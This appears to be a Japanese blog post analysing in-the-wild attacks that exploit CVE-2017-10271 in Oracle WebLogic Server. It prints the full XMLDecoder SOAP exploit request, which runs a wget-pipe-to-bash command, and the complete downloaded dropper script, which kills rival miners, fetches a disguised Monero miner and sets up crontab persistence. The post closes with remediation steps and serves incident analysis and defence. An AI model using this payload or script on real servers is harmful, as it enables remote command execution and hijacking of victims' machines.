Oracle WebLogic Server の脆弱性を利用した攻撃が確認される
2018年1月15日にIPAが注意喚起した、Oracle WebLogic Serverの脆弱性(CVE-2017-10271)を利用した攻撃が確認されました。
今回攻撃の影響を受けるバージョンは下記の通り。
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.1.0
- 12.2.1.2.0
なお、今回の脆弱性に対する修正パッチ(バージョン12.2.1.3.0)は2017年10月にリリース済みです。
Oracle WebLogicを利用されている方は、速やかに「Oracle Critical Patch Update Advisory – October 2017」を確認して、パッチの適用を実施してください。
脆弱性(CVE-2017-10271)の概要
本脆弱性は、Oracle WebLogic Serverのサブコンポーネント、WLS Securityに対して細工したリクエストを送信することで、サーバー実行ユーザー権限でコマンドを実行できてしまうというものです。
現在は、暗号通貨のマイナーが仕込まれるといった攻撃しか確認されていませんが、他の用途にも悪用できますので速やかな対処が必要です。
細工されたリクエストを覗いてみる
/wls-wsat/CoordinatorPortTypeに対して、攻撃者は下記のようなPOSTリクエストを送信します。
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: ******** User-Agent: Memes/1.3.3.7 Content-Type: text/xml Content-Length: 594 <soapenv:Envelope xmlns:soapenv="http://******/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://****.com/****/****/soap/workarea/"> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>wget -O - http://******/jquery.js | bash</string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope>
リクエストの中身を覗いてみると、/wls-wsat/CordinatorPortType に対してPOSTスクリプトを投げていることがまず分かります。
更に読み解くと、配列を使って文字を挿入していることが見て取れます。これらを続けて記載すると、
/bin/bash -c wget -O - http://******/jquery.js | bash
となります。
これは、bashを使って、-cで実行コマンドを渡しており、渡されるコマンドはhttp://******/jquery.jsをwgetでダウンロードし、パイプでbashに渡していることが分かります。
この「http://******/jquery.js」をダウンロードして中身を見てみると、案の定shellスクリプトで、下記のような記載がありました。
#!/bin/bash # If you're reading this you shouldn't. You just rm -rf /tmp/.daemon; rm -rf /var/tmp/.daemon and have a nice day. pkill -f pool pkill -f miner pkill -f stratum pkill -f monero pkill -f mine pkill -f xmrig FIRST="/tmp/.daemon" FIRSTPATH="/tmp/.daemon/.a" SECOND="/var/tmp/.daemon" SECONDPATH="/var/tmp/.daemon/.a" BIN="http://****/bootstrap.css" FLAGS="-B -o pool.minexmr.com:4444 --safe -k --donate-level=1 -u 44Cq5f8ggU7BSdHeDRsaH1WZLsoDcJtTnBfL9WqhriCXbRsnSnNwMgpGYii1ZwPP28GHyMrGFFpBMLVGUa9oBSbjTkcefxK.new -p x" if [ -d "$FIRST" ]; then rm -rf $FIRST; fi if [ -d "$SECOND" ]; then rm -rf $SECOND; fi if mkdir -p "$FIRST" ; then wget $BIN -O $FIRSTPATH 2>/dev/null || curl $BIN -o $FIRSTPATH 2>/dev/null if [ -e "$FIRST" ]; then echo "@reboot command $FIRSTPATH $FLAGS" | crontab - chmod +x $FIRSTPATH command $FIRSTPATH $FLAGS fi elif mkdir -p "$SECOND" ; then wget $BIN -O $SECONDPATH 2>/dev/null || curl $BIN -o $SECONDPATH 2>/dev/null if [ -e "$SECONDPATH" ]; then echo "@reboot command $SECONDPATH $FLAGS" | crontab - chmod +x $SECONDPATH command $SECONDPATH $FLAGS fi fi
上記のような内容が記載されています。てっきり難読化されてるものかとばかり思っていましたが、素のShellスクリプトのようです。
まずはじめに、Monero($XMR)マイニングに関するプロセスをpkillで片っ端から止めています。
正直なところ企業用WEBサーバで暗号通貨をマイニングするなんてことはしないので、恐らく他の攻撃者が仕掛けたプロセスを片っ端から止めて、プールマイニングしようという魂胆なのでしょう。
そして、マイナーを配置するパスなどを変数に代入しているのですが、ここで「BIN=”http://****/bootstrap.css”」という表記に注目します。
正直なところ、ここまで分かるとこれがMoneroマイナーの本体だということが分かるのですが、念のためfileコマンドで確認してみます。
[syobon@akashi ~]$ file bootstrap.css bootstrap.css: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44f0c4778688c2bd59d9b64863989f3d0f6db636, stripped
ビンゴですね。ELFファイルであることが分かります。
これを利用して、crontabにマイニングジョブを追加しているわけですね。
残念ながらアタッカーのWalletは分かりませんが、プールのWorker IDはこれで分かりましたので、プールサイトからWorker Statusを確認してみました。
2018年1月17日 23時33分に確認したところ、少なくとも10分前には1.21KH/sほど出ていたので、このWorker IDが攻撃のみに利用されていると仮定した場合、少なからず被害者は居るようですね。
ただ、1.21KH/sってGeForce GTX1080 1枚分と同値なので、ここまでリスクを冒して得られた結果がこれとは・・・
なお、仮にこの脆弱性が悪用されて、マイナーが仕込まれると瞬時にCPU使用率が著しく跳ね上がりますので、パフォーマンス監視をしていれば直ぐに気付ける物と思われます。
もし被害に遭った場合は
管理しているOracle WebLogicサーバでCPU使用率が跳ね上がった場合は、topコマンドなどで不審なプロセスが上がっていないか確認してください。
もし上がっていれば、killコマンドもしくはpkillコマンドでマイナープロセスを停止し、Oracle WebLogic Server実行ユーザーのcrontabを確認し、身に覚えの無いジョブが追加されていれば削除を実施してください。
そして最後に必ずOracle WebLogic Serverのアップデートを実施してください。
冒頭でも述べましたが、今はMoneroのマイニングにだけ使われていますが、Oracle WebLogic Serverを実行しているユーザー権限で、コマンドを実行できてしまうので、さらなる被害を受ける恐れがあることを意識して対応するようにしてください。
Source: IPA